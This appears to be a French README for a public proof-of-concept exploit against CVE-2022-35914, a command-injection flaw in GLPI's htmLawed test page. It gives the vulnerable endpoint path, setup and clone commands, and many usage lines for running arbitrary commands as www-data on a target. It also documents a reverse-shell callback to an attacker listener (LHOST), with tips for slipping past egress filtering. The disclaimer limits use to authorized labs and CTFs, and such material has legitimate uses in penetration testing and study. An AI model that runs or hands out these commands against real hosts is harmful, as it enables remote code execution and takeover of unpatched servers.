
Exploit PoC pour CVE-2022-35914 — Injection de commande htmLawed dans GLPI v.10.0.2, exécution de commande et prise en charge de reverse shell.
PoC pour CVE-2022-35914, une vulnérabilité d'injection de commandes impliquant le composant de test htmLawed dans les installations GLPI vulnérables.
L'outil permet l'exécution de commandes via le point de terminaison vulnérable et inclut une fonctionnalité de rappel optionnelle pour les environnements de laboratoire autorisés.
Avertissement : Ce projet est destiné uniquement aux tests de sécurité autorisés, aux CTF, aux laboratoires OffSec/PG et à des fins éducatives. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Champ | Détails |
|---|---|
| CVE | CVE-2022-35914 |
| Logiciel | GLPI |
| Composant | htmLawed |
| Point de terminaison vulnérable | /vendor/htmlawed/htmlawed/htmLawedTest.php |
Le composant vulnérable peut permettre l'exécution de commandes via des paramètres spécialement conçus sur les installations concernées.
Python 3 et les dépendances requises.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Clonez le dépôt :
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Rendez le script exécutable :
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Exemple de sortie :
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
L'option -c spécifie la commande à exécuter.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
L'option -p / --rport spécifie le port sur lequel le service web GLPI vulnérable est exécuté.
Défaut :
80
Exemple :
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Utilisez --check pour vérifier que la page de test htmLawed est disponible sans exécuter de commande :
python3 glpi.py -u TARGET_IP --check
Un User-Agent HTTP personnalisé peut être fourni avec :
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
Le script prend en charge des paramètres de rappel optionnels :
-l Callback/listener IP
-lp Callback/listener port
Exemple :
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Dans cet exemple :
Target: TARGET_IP:80
Callback: LHOST:80
Les deux ports ont des finalités différentes :
-p = Target GLPI HTTP port
-lp = Callback/listener port
Lors des tests dans un environnement de laboratoire OffSec, le rappel a fonctionné avec succès sur le port TCP 80.
D'autres ports de rappel, comme 4444, peuvent expirer en fonction du réseau du laboratoire et du filtrage du trafic sortant.
Pour l'environnement testé :
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
L'écouteur a été configuré sur l'interface VPN Kali en utilisant le port TCP 80.
Important : L'utilisation du port 80 pour le rappel est une observation spécifique à l'environnement. Ce n'est pas une exigence de CVE-2022-35914.
Vérifiez d'abord l'exécution de commandes :
python3 glpi.py -u TARGET_IP -c 'id'
Vérifiez si les utilitaires requis existent :
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Si l'exécution de commandes fonctionne mais que le rappel expire, vérifiez le routage VPN et le port de rappel.
Si l'analyse de la sortie de commande échoue, la réponse HTTP complète est enregistrée dans :
/tmp/glpi.html
Inspectez-la avec :
less /tmp/glpi.html
ou :
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Pour l'environnement de laboratoire OffSec testé :
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
L'auteur n'est pas responsable de toute utilisation abusive, de tout dommage, de tout accès non autorisé ou de toute activité illégale impliquant ce logiciel.
Obtenez toujours une autorisation explicite avant de tester un système.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 par cyb3rk0ala
| Option | Description | Défaut |
|---|
-u, --url | URL cible ou adresse IP | Requis |
-c, --cmd | Commande à exécuter | id |
--check | Vérifie la cible sans exécuter de commande | Désactivé |
--user-agent | User-Agent HTTP personnalisé | Défaut |
-p, --rport | Port du service HTTP cible | 80 |
-l, --lhost | Adresse IP de rappel/écoute | — |
-lp, --lport | Port de rappel/écoute | — |